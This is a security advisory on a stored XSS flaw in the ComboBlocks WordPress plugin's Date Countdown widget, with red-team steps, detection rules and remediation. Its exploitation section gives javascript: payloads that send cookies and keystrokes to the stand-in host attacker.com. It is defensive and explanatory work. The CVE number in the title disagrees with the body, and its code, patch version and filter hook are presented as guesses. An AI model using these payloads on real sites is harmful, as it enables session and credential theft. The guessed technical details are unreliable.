CVE-2024-6346

Executive Summary

CVE-2024-6345 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenberg Blocks, Page Builder – ComboBlocks WordPress plugin, affecting all versions up to and including 2.2.85. The flaw resides in the redirectURL parameter of the Date Countdown widget. Insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious widget, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.4 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or patch details are currently available.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The ComboBlocks plugin is a popular page builder for the Gutenberg editor. The attack vector requires authenticated access (contributor role or higher), which limits the attack surface but still poses a significant risk in multi-author WordPress environments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs contributor-level access.
• User Interaction (UI): Required – The victim must visit the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Potential for limited data exposure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature means any visitor to the affected page is at risk.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the redirectURL attribute of the Date Countdown widget. The plugin fails to properly sanitize user-supplied input and escape output when rendering the widget. An attacker with contributor-level access can create or edit a post/page, add the Date Countdown block, and set the redirectURL parameter to a malicious JavaScript payload. When the page is rendered, the payload is executed in the context of the victim's browser.

Root Cause: The plugin uses esc_attr() or similar functions insufficiently, or the redirectURL parameter is output in a context where HTML/JavaScript execution is possible (e.g., inside an onclick or href attribute without proper encoding).

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new post or edits an existing one.
3. Attacker adds the "Date Countdown" block.
4. Attacker sets the redirectURL parameter to: javascript:alert('XSS') or a more complex payload.
5. Attacker publishes the post.
6. Victim visits the post.
7. The malicious script executes in the victim's browser.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's rendering logic for the Date Countdown widget. A typical vulnerable pattern might look like:

Vulnerable Code (PHP):

echo '<a href="' . $redirectURL . '">Redirect</a>';

Patched Code (Hypothetical):

echo '<a href="' . esc_url($redirectURL) . '">Redirect</a>';

The esc_url() function in WordPress would strip dangerous schemes like javascript: and encode special characters, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with ComboBlocks plugin <= 2.2.85.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new post.
3. Add the "Date Countdown" block.
4. In the block settings, set the redirectURL parameter to:

   javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
   

5. Publish the post.
6. Send the post URL to the victim.
7. When the victim visits the page, the script executes and exfiltrates cookies.

Alternative Payload (Keylogger):

javascript:document.onkeypress=function(e){fetch('https://attacker.com/keylog?k='+e.key)}

Blue Team

Detection & Prevention:

• Monitor for posts created by contributors that contain the Date Countdown block.
• Use a Web Application Firewall (WAF) to block requests containing javascript: in query parameters.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Regularly audit user roles and permissions; limit contributor access where possible.

Lab Setup for Testing:

1. Install WordPress locally (e.g., using Docker).
2. Install ComboBlocks plugin version 2.2.85.
3. Create a contributor account.
4. Replicate the attack as described above.
5. Monitor logs for suspicious activity.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound requests to attacker-controlled domains from the WordPress server.
  • HTTP requests containing javascript: in the redirectURL parameter.
• File IOCs:
  • Modified post content containing <script> tags or javascript: URIs.
• Log IOCs:
  • WordPress audit logs showing posts created/edited by contributors with the Date Countdown block.
  • Web server logs showing requests to pages with the Date Countdown block.

Detection Engineering

YARA Rule

rule CVE_2024_6345_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in ComboBlocks Date Countdown widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6345"
    strings:
        $payload1 = /redirectURL["']?\s*[:=]\s*["']javascript:/i
        $payload2 = /redirectURL["']?\s*[:=]\s*["']<script/i
        $payload3 = /redirectURL["']?\s*[:=]\s*["']on\w+=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-6345 Stored XSS in ComboBlocks Date Countdown
id: 8a3f7c2e-1b4d-4e9f-8c6a-5d2b3e1f0a7c
status: experimental
description: Detects attempts to exploit stored XSS via redirectURL parameter in ComboBlocks plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'redirectURL=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: URIs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6345 Stored XSS in ComboBlocks Date Countdown"; flow:to_server,established; content:"redirectURL"; http_uri; nocase; content:"javascript:"; http_uri; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the ComboBlocks plugin until a patch is released.
2. Restrict contributor-level access to only trusted users.
3. Implement a Web Application Firewall (WAF) rule to block javascript: in the redirectURL parameter.

Long-term Fix:

• Monitor the plugin's official repository for a patched version (>= 2.2.86).
• Apply the patch as soon as it becomes available.
• Conduct a security audit of all WordPress plugins in use.

Workaround:

• Use a custom filter to sanitize the redirectURL parameter:

  add_filter('combo_blocks_date_countdown_redirect_url', 'esc_url');
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst